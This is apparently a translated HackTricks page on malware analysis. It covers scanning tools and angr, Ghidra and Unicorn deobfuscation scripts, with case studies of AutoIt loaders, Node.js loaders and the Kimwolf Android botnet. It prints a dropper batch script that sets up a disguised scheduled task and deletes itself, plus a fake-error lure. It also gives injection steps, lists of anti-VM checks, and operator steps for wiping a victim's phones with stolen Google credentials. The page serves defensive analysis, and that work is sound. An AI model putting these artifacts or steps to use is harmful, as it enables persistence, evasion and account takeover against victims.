Malware Analysis

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Шпаргалки з Forensics

https://www.jaiminton.com/cheatsheet/DFIR/#

Онлайн сервіси

Офлайн антивірусні та засоби виявлення

Yara

Встановлення

sudo apt-get install -y yara

Підготовка правил

Скористайтесь цим скриптом, щоб завантажити та об’єднати всі yara malware rules з github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Створіть директорію rules та виконайте скрипт. Це створить файл під назвою malware_rules.yar, який містить усі yara rules for malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Сканування

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Перевірка на malware та створення правил

Ви можете використовувати інструмент YaraGen для генерації yara rules з бінарного файлу. Перегляньте ці підручники: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Встановлення

sudo apt-get install -y clamav

Сканування

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa виявляє потенційно зловмисні capabilities у виконуваних файлах: PE, ELF, .NET. Тому воно знаходить такі речі, як Att&ck tactics, або підозрілі можливості, наприклад:

  • перевірка помилки OutputDebugString
  • запуск як сервіс
  • створення процесу

Отримати його в Github repo.

IOCs

IOC означає Indicator Of Compromise. IOC — це набір умов, що ідентифікують якесь потенційно небажане програмне забезпечення або підтверджене malware. Blue Teams використовують такі визначення, щоб шукати цей тип шкідливих файлів у своїх системах та мережах.
Ділитися цими визначеннями дуже корисно: коли malware виявлено на комп’ютері і для нього створено IOC, інші Blue Teams можуть використати його для швидшого виявлення malware.

Інструмент для створення або редагування IOCs — IOC Editor.
Ви можете використовувати інструменти, такі як Redline, щоб шукати визначені IOCs на пристрої.

Loki

Loki — сканер для Simple Indicators of Compromise.
Виявлення базується на чотирьох методах виявлення:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) — це malware scanner для Linux, випущений під GNU GPLv2 license, розроблений з урахуванням загроз, з якими стикаються shared hosted environments. Він використовує threat data з network edge intrusion detection systems для вилучення malware, що активно використовується в атаках, і генерує signatures для виявлення. Крім того, threat data також надходять від user submissions через LMD checkout feature та з malware community resources.

rkhunter

Інструменти на кшталт rkhunter можна використовувати для перевірки файлової системи на наявність можливих rootkits та malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS — інструмент, який намагається знайти обфусковані рядки всередині виконуваних файлів, використовуючи різні методи.

PEpper

PEpper checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio — інструмент, який дозволяє отримати інформацію про Windows executables such as imports, exports, headers, але також перевіряє virus total і знаходить потенційні Att&ck techniques.

Detect It Easy(DiE)

DiE — інструмент для визначення, чи файл є зашифрованим, а також для виявлення packers.

NeoPI

NeoPI is a Python script that uses a variety of статистичні методи to detect обфусковане and зашифроване content within text/script files. The intended purpose of NeoPI is to aid in the виявленні прихованого web shell коду.

php-malware-finder

PHP-malware-finder прагне виявити обфускований/підозрілий код, а також файли, що використовують PHP функції, часто застосовувані в malwares/webshells.

Apple Binary Signatures

Під час перевірки деякого malware sample ви завжди повинні перевіряти підпис бінарного файлу, оскільки розробник, який його підписав, може вже бути пов’язаний з malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Detection Techniques

File Stacking

Якщо ви знаєте, що якась папка, що містить файли веб-сервера, була останнього разу оновлена в певну дату, перевірте дати створення й модифікації всіх файлів на веб-сервері, і якщо якась дата викликає підозру, перевірте відповідний файл.

Baselines

Якщо файли папки не мали б бути змінені, ви можете обчислити hash оригінальних файлів папки і порівняти їх із поточними. Усе, що змінено, буде підозрілим.

Statistical Analysis

Коли інформація зберігається в логах, ви можете перевірити статистику, наприклад, скільки разів кожен файл веб-сервера був запитаний — web shell може бути одним із найчастіше запитаних.


Android in-app native telemetry (no root)

На Android ви можете інструментувати native-код всередині процесу цільового додатку, підвантаживши невелику бібліотеку-логер перед ініціалізацією інших JNI бібліотек. Це дає ранню видимість native-поведінки без системних хукiв або root. Популярний підхід — SoTap: покладіть libsotap.so для потрібного ABI в APK і вставте виклик System.loadLibrary(“sotap”) на ранньому етапі (наприклад, у static initializer або Application.onCreate), потім збирайте логи з internal/external шляхів або використовуйте Logcat як fallback.

See the Android native reversing page for setup details and log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Деякі Android malware і RASP-захищені додатки приховують імена JNI-методів та сигнатури, декодуючи їх під час виконання перед викликом RegisterNatives. Коли Frida/ptrace інструментація вимикається anti-debug, ви все ще можете відновити plaintext офлайн, виконавши вбудований декодер всередині бінарника за допомогою angr, а потім закинути результати назад у Ghidra як коментарі.

Ключова ідея: розглядати декодер всередині .so як викликабельну функцію, виконати його над заобфусцьованими байтовими блобами в .rodata і конкретизувати вихідні байти до першого \x00 (C-string terminator). Тримайте angr і Ghidra з тією ж image base, щоб уникнути невідповідностей адрес.

Workflow overview

  • Triage in Ghidra: identify the decoder and its calling convention/arguments in JNI_OnLoad and RegisterNatives setup.
  • Run angr (CPython3) to execute the decoder for each target string and dump results.
  • Annotate in Ghidra: auto-comment decoded strings at each call site for fast JNI reconstruction.

Ghidra triage (JNI_OnLoad pattern)

  • Apply JNI datatypes to JNI_OnLoad so Ghidra recognises JNINativeMethod structures.
  • Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Look for calls to RegisterNatives. If the library constructs the name/signature with a local routine (e.g., FUN_00100e10) that references a static byte table (e.g., DAT_00100bf4) and takes parameters like (encoded_ptr, out_buf, length), that is an ideal target for offline execution.

angr setup (execute the decoder offline)

  • Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
Налаштування angr та офлайн-виконання декодера ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- У великих масштабах побудуйте статичну мапу відповідності call sites аргументам декодера (encoded_ptr, size). Wrappers можуть приховувати аргументи, тому ви можете створити це відображення вручну з Ghidra xrefs, якщо API recovery дає занадто багато шуму.

<details>
<summary>Пакетне декодування кількох call sites за допомогою angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Анотувати call sites у Ghidra Option A: Jython-only comment writer (використовуйте попередньо згенерований JSON)

  • Оскільки angr вимагає CPython3, тримайте deobfuscation та annotation розділеними. Спочатку запустіть angr-скрипт вище, щоб згенерувати decoded_strings.json. Потім запустіть цей Jython GhidraScript, щоб записати PRE_COMMENTs у кожному call site (і включити ім’я caller function для контексту):
Ghidra Jython script to annotate decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Варіант B: Single CPython script via pyhidra/ghidra_bridge
- Альтернативно, використовуйте pyhidra або ghidra_bridge для керування Ghidra’s API з того ж CPython процесу, що запускає angr. Це дозволяє викликати decode_string() і одразу встановлювати PRE_COMMENTs без проміжного файлу. Логіка віддзеркалює Jython скрипт: побудувати callsite→function мапу через ReferenceManager, декодувати з angr і встановити коментарі.

Чому це працює та коли використовувати
- Виконання офлайн оминає RASP/anti-debug: не потрібні ptrace чи Frida hooks для відновлення рядків.
- Вирівнювання Ghidra і angr base_addr (наприклад, 0x00100000) гарантує, що адреси функцій/даних збігаються між інструментами.
- Повторюваний рецепт для декодерів: розглядайте трансформацію як чисту функцію, виділіть буфер виводу в свіжому state, викличте її з (encoded_ptr, out_ptr, len), потім конкретизуйте через state.solver.eval і розберіть C-strings до \x00.

Зауваження та підводні камені
- Дотримуйтесь цільового ABI/calling convention. angr.factory.callable вибирає один на основі arch; якщо аргументи виглядають зсунутими, вкажіть cc явно.
- Якщо декодер очікує занулені буфери виводу, ініціалізуйте outbuf нулями в state перед викликом.
- Для position-independent Android .so завжди задавайте base_addr, щоб адреси в angr збігалися з тими, що бачите в Ghidra.
- Використовуйте currentProgram.getReferenceManager() для перечислення call-xrefs навіть якщо аплікація обгортає декодер за тонкими stubs.

Для основ angr див.: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Деобфускація Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: замість прямого jump/call вони обчислюють адресу призначення під час виконання і виконують `jmp rax` або `call rax`. Маленький *dispatcher* (типово дев'ять інструкцій) встановлює кінцеву ціль залежно від CPU `ZF`/`CF` прапорів, повністю ламаючи статичне відновлення CFG.

Техніку — продемонстровану в SLOW#TEMPEST loader — можна подолати трьохкроковим workflow, що покладається лише на IDAPython та Unicorn CPU emulator.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Витягніть dispatcher byte-code

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Емуляйте це двічі за допомогою Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Запустіть run(code,0,0) та run(code,1,1), щоб отримати цілі переходів для false та true гілок.

4. Відновлення прямого jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Після застосування патчу змусьте IDA повторно проаналізувати функцію, щоб повністю відновити CFG та вивід Hex-Rays:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Маркування непрямих API викликів

Коли відома реальна адреса призначення кожного call rax, ви можете вказати це IDA, щоб типи параметрів & імена змінних відновлювалися автоматично:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Практичні переваги

  • Відновлює реальний CFG → декомпіляція зростає з 10 рядків до тисяч.
  • Дозволяє string-cross-reference & xrefs, що робить реконструкцію поведінки тривіальною.
  • Scripts повторно використовувані: скиньте їх у будь-який loader, захищений тим же трюком.

AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection

Цей шаблон вторгнення поєднує підписаний MSI, AutoIt loaders, скомпільовані у .a3x, та завдання Task Scheduler, що маскується під безпечний додаток.

MSI → custom actions → AutoIt orchestrator

Дерево процесів та команди, які виконуються MSI custom actions:

  • MsiExec.exe → cmd.exe щоб запустити install.bat
  • WScript.exe щоб показати підробне вікно помилки
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (скидає loader, встановлює persistence, самоочищається):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (приманка для користувача):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Ключові артефакти та маскування:

  • Скидає AutoIt3.exe та IoKlTr.au3 до C:\Users\Public\Music
  • Копіює schtasks.exe як hwpviewer.exe (маскується під Hangul Word Processor viewer)
  • Створює заплановане завдання “IoKlTr”, що виконується кожну 1 хвилину
  • LNK у автозавантаженні видно як Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Розміщує модулі в підпапках %APPDATA%\Google\Browser, що містять adb або adv, і запускає їх через допоміжні скрипти autoit.vbs/install.bat

Поради для тріажу при форензичному аналізі:

  • Перевірка schtasks: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Шукайте перейменовані копії schtasks.exe, розташовані поруч із Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Типові шляхи: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Корелюйте створення процесів: AutoIt3.exe запускає легітимні Windows бінарні файли (наприклад, cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • Модулі AutoIt компілюються з #AutoIt3Wrapper_Outfile_type=a3x і дешифрують вбудовані payloads перед інʼєкцією у benign processes.
  • Спостережувані сімейства: QuasarRAT (injected into hncfinder.exe) та RftRAT/RFTServer (injected into cleanmgr.exe), а також RemcosRAT модулі (Remcos\RunBinary.a3x).
  • Шаблон дешифрування: отримують AES-ключ через HMAC, дешифрують вбудований blob, потім інʼєктують plaintext module.

Загальний скелет дешифрування (точний вхід HMAC/алгоритм специфічний для сімейства):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • CreateProcess (suspended) цільового хоста (наприклад, cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory з розшифрованим модулем/shellcode
  • CreateRemoteThread or QueueUserAPC для виконання payload

Hunting ideas

  • AutoIt3.exe, який має батьківський процес MsiExec.exe або WScript.exe і запускає системні утиліти
  • Файли з розширенням .a3x або AutoIt script runners у загальнодоступних/доступних для запису шляхах
  • Підозрілі заплановані завдання, що виконують AutoIt3.exe або бінарні файли без підпису Microsoft, з тригерами на рівні хвилин

Зловживання сервісом Android Find My Device (Find Hub) під час захоплення облікового запису

Під час компрометації Windows оператори використовували вкрадені облікові дані Google, щоб багаторазово очищувати Android-пристрої жертви, приглушуючи сповіщення, поки вони розширювали доступ через месенджер жертви, у якому був виконаний вхід на десктопі.

Operator steps (from a logged-in browser session):

  • Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
  • Select device → re-enter Google password → issue “Erase device” (factory reset); repeat to delay recovery
  • Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications

Tracing heavily obfuscated Node.js loaders

Зловмисники все частіше пакують JavaScript loaders всередині standalone Windows-бінарників, зібраних за допомогою nexe, тож runtime постачається разом зі скриптом. Утворений PE часто важить 60–90 MB і виконується навіть якщо Node.js не встановлено. Під час triage:

  • Використовуйте nexe_unpacker щоб витягти вбудований JavaScript з PE і передати його локальним інструментам для static diffing.
  • Очікуйте mutex на диску в %TEMP% (GachiLoader залишає випадковий файл <name>.lock, який зникає приблизно через ~5 хвилин). Копіювання файлу в sandbox до виконання дозволяє пропустити зайві стадії і одночасно побачити пізніші payloads.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer hooks core modules inside any Node.js process, lets you spoof anti-VM probes, and preserves every artifact the sample writes. Launch obfuscated scripts through the tracer to keep analyst-controlled instrumentation in the call stack:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • Log filesystem, child-process, and HTTP activity (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Every dropped file—such as kidkadi.node—is copied to the working directory before the malware deletes it.
  • Override environment fingerprints by returning realistic RAM/CPU counts, faking tasklist output, and tampering with PowerShell/WMI responses. This bypasses loaders that demand ≥4 GB RAM, ≥2 cores, and scrutinize user names (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …), and process names (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neuter WMI hardware checks like Get-WmiObject Win32_DiskDrive (looking for vmware, kvm, virtio, …), Win32_VideoController (blocking “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) and Win32_PortConnector counts. When those probes report “real” hardware, sandboxes no longer hit the infinite loop of benign Invoke-WebRequest calls to linkedin.com, grok.com, whatsapp.com, and similar domains that GachiLoader uses to waste analysis time.

Capturing gated C2 traffic automatically

The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:

  1. POSTs host telemetry to /log on each hard-coded C2.
  2. Issues GET /richfamily/<per-sample key> with X-Secret: gachifamily to retrieve a Base64-encoded payload URL.
  3. Performs a final GET to that URL with a long per-sample X-Secret header; missing it returns 403 Forbidden.

Because the tracer records complete requests (headers, bodies, destinations), you can replay the same traffic to pull payloads, dump Themida/VMProtect shells in memory, and extract Rhadamanthys configuration data at scale.

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs such as com.n2.systemservice06* ship a statically linked ARM ELF inside res/raw (e.g. R.raw.libniggakernel). A BOOT_COMPLETED receiver runs at startup, extracts the raw resource to the app sandbox (e.g. /data/data/<pkg>/niggakernel), makes it executable and invokes it with su.
  • Many Android TV boxes/tablets ship pre-rooted images or world-writable su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Upon start, Kimwolf binds an abstract UNIX domain socket such as @niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact.
  • The process title is overwritten with service-looking names (netd_services, tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via VEOR Qx, Qx, Qy (veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Пошук послідовностей VEOR Q8, Q8, Q9 / veorq_s64 та емулювання їхніх діапазонів масово дампить кожен розшифрований рядок, обходячи термін життя відкритого тексту, обмежений стеком.

DNS-over-TLS resolution plus XOR IP derivation

  • Всі варіанти Kimwolf резолвлять домени C2, використовуючи DNS-over-TLS (TCP/853) напряму з Google (8.8.8.8) або Cloudflare (1.1.1.1), що обходить просте логування DNS або його підміну.
  • v4 боти просто використовують повернений IPv4 A record. v5 боти трактують A record як 32-бітне ціле, міняють порядок байтів, XOR-ять його з константою 0x00ce0491, потім знову змінюють порядок байтів, щоб отримати реальний C2 IP. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding fallback

  • Пізніші збірки додають ENS домен (pawsatyou.eth), у якого текстовий ключ резолвера "lol" зберігає нешкідливий на вигляд IPv6 (fed0:5dec:...:1be7:8599).
  • Бот бере останні чотири байти (1b e7 85 99), XOR-ить їх з 0x93141715 і інтерпретує результат як IPv4 C2 (136.243.146.140). Оновлення ENS текстового запису миттєво ротує подальші C2 через блокчейн без звернення до DNS.

TLS + ECDSA authenticated command channel

  • Трафік інкапсульований у wolfSSL з користувацьким кадрованим протоколом:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Ініціалізація (Bootstrap): бот надсилає два порожні заголовки MsgType=0 (register). C2 відповідає MsgType=1 (verify), що містить випадковий виклик (challenge) плюс ASN.1 DER ECDSA підпис. Боти перевіряють його проти вбудованого блобу SubjectPublicKeyInfo; у разі невдачі сесія завершується, що перешкоджає захопленим/sinkholed C2 вузлам наказувати флоту.
  • Після верифікації бот надсилає тіло MsgType=0, що несе операторськи визначений group string (наприклад android-postboot-rt). Якщо група увімкнена, C2 відповідає MsgType=2 (confirm), після чого починається tasking (MsgType 5–12).
  • Підтримувані операції включають SOCKS-style TCP/UDP proxying (монетизація residential proxy), reverse shell / single command exec, читання/запис файлів та Mirai-compatible DDoSBody payloads (той самий layout для AtkType, Duration, Targets[], Flags[]).

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks